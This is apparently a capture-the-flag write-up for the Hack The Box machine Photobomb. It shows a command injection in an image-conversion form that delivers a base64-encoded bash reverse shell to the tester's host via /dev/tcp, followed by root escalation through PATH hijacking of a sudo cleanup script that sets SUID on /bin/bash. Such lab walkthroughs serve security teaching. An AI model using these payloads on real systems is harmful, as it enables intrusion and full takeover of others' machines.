Photobomb
8 minutes to read
sudo
permissions to run a Bash script that is vulnerable to PATH
hijacking, which can be used to escalate privileges- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.182
- Release: 08 / 10 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.182 -p 22,80
Nmap scan report for 10.10.11.182
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 7.85 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.182
we will be redirected to http://photobomb.htb
, so we need to enter the domain in /etc/hosts
. Then, we see this website:
It says that we need credentials to access for /printer
…
If we inspect the HTML source code of the initial webpage, we will see a JavaScript file called photobomb.js
:
There, we can see some hard-coded credentials pH0t0:b0Mb!
:
These credentials are for HTTP basic authentication, so we can use them in the previous prompt, or access by http://pH0t0:b0Mb!@photobomb.htb/printer
:
Here we can download several images in two different extensions (PNG and JPEG) and several dimensions.
First of all, we can apply fuzzing to enumerate more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://photobomb.htb/FUZZ
printer [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printerfriendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
printer_friendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 54ms]
printer_icon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 44ms]
printer-icon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 43ms]
printer-friendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 45ms]
printerFriendly [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
[Status: 200, Size: 843, Words: 136, Lines: 23, Duration: 62ms]
printersupplies [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 42ms]
printer1 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 43ms]
printer2 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 40ms]
printericon [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 40ms]
printer_2867 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
printer_securit [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 42ms]
printer_drivers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 46ms]
printer_2 [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 86ms]
printer_list [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 41ms]
printerdrivers [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 69ms]
printer-ink [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 38ms]
We see that all routes start by printer
. Actually, this is a problem related with nginx. Probably, there is a route configured as location /printer {
, instead of location /printer/ {
. When this misconfiguration is combined with certain applications, it can lead to path traversal vulnerabilities (more information at www.acunetix.com, i.blackhat.com and in my write-up for Pikaboo).
Unfortunately, it is not exploitable this time, we only can find that the web technology behind nginx is Sinatra (a Ruby web framework):
There are some vulnerabilities for Sinatra listed at security.snyk.io, but again, none of them seem to be exploitable. Furthermore, we don’t know the version of Sinatra that is being run.
Hence, let’s focus on the image download feature. The POST request needs three parameters:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Foothold
We can try to mess around with the POST parameters. For instance, testing for path traversal vulnerabilities:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=./voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png&dimensions=600x400'
Invalid photo.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=.&filetype=png&dimensions=600x400'
Failed to generate a copy of .
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=..&filetype=png&dimensions=600x400'
Invalid photo.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=&filetype=png&dimensions=600x400'
Failed to generate a copy of
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d ''
NoMethodError: undefined method `match' for nil:NilClass
server.rb:99:in `block in <main>'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1636:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1636:in `block in compile!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:987:in `block (3 levels) in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1006:in `route_eval'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:987:in `block (2 levels) in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1035:in `block in process_route'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1033:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1033:in `process_route'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:985:in `block in route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:984:in `each'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:984:in `route!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1098:in `block in dispatch!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `block in invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1095:in `dispatch!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:919:in `block in call!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `block in invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `catch'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1072:in `invoke'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:919:in `call!'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:908:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/xss_header.rb:18:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/path_traversal.rb:16:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/json_csrf.rb:26:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/base.rb:50:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/base.rb:50:in `call'
/usr/lib/ruby/vendor_ruby/rack/protection/frame_options.rb:31:in `call'
/usr/lib/ruby/vendor_ruby/rack/logger.rb:15:in `call'
/usr/lib/ruby/vendor_ruby/rack/common_logger.rb:33:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:231:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:224:in `call'
/usr/lib/ruby/vendor_ruby/rack/head.rb:12:in `call'
/usr/lib/ruby/vendor_ruby/rack/method_override.rb:22:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/show_exceptions.rb:22:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:194:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1951:in `call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1503:in `block in call'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1730:in `synchronize'
/usr/lib/ruby/vendor_ruby/sinatra/base.rb:1503:in `call'
/usr/lib/ruby/vendor_ruby/rack/handler/webrick.rb:86:in `service'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:140:in `service'
/usr/lib/ruby/2.7.0/webrick/httpserver.rb:96:in `run'
/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
We see that the server does not allow /
in the photo
parameter, so path traversal does not seem feasible. Moreover, we confirm that we are dealing with Ruby since we see server.rb
in the error stack trace.
We can continue by testing the different file formats:
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=svg&dimensions=600x400'
Invalid filetype.
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=pngasdf&dimensions=600x400'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
Do you see it? I told the server to convert the photo to pngasdf
and it did not complain…
Finding a command injection
Maybe we can inject something… Let’s see:
$ time curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png;sleep+10&dimensions=600x400'
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg 11,41 real 0,00 user 0,00 sys
Using ;sleep 10
(using +
to encode the space), the response took 11 seconds. Therefore, we have successfully injected a system command.
At this point, we can obtain a reverse shell on the machine:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;`echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash`&dimensions=600x400'
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.182.
Ncat: Connection from 10.10.11.182:33580.
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
wizard@photobomb:~/photobomb$ export TERM=xterm
wizard@photobomb:~/photobomb$ export SHELL=bash
wizard@photobomb:~/photobomb$ stty rows 50 columns 158
And we can read the user.txt
flag:
wizard@photobomb:~/photobomb$ cd
wizard@photobomb:~$ cat user.txt
2383a894b2473d7287fa24e8a288d488
System enumeration
The user wizard
is able to run sudo
:
wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
We are allowed to run /opt/cleanup.sh
as root
without password and with the chance to set environment variables. Let’s analyze such file:
wizard@photobomb:~$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Privilege escalation
The above source code has one vulnerability. Notice that find
is executed with a relative path…
This is vulnerable to PATH
hijacking, because Bash will use the PATH
environment variable to get where find
is. Namely:
wizard@photobomb:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wizard@photobomb:~$ which find
/usr/bin/find
So find
is located at /usr/bin
. But if there was another executable file named find
in /usr/local/bin
, it would have priority respect to /usr/bin
because it is located first in the PATH
environment variable.
Exploiting PATH
hijacking
In order to exploit the vulnerability, we need to create an executable file named find
and modify the PATH
environment variable. The idea is that, when executing the script using sudo
, our find
command is executed by root
. Hence, we can add SUID permissions to /bin/bash
in order to escalate privileges:
wizard@photobomb:~$ cd /tmp
wizard@photobomb:/tmp$ cat > find
#!/bin/bash
chmod 4755 /bin/bash
^C
wizard@photobomb:/tmp$ chmod +x find
wizard@photobomb:/tmp$ export PATH=/tmp:$PATH
wizard@photobomb:/tmp$ which find
/tmp/find
With the new PATH
variable, our find
command is first. Now it’s time to execute the script with sudo
. However, we need to set the PATH
variable in the same command, since sudo
by default doesn’t use current PATH
variable (it uses secure_path
). But this time, we have SETENV
permissions, so we can overwrite them:
wizard@photobomb:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
There it is. Now we can get access as root
:
wizard@photobomb:/tmp$ bash -p
bash-5.0# cat /root/root.txt
44c1180a9f62174b92eed4252af61e1a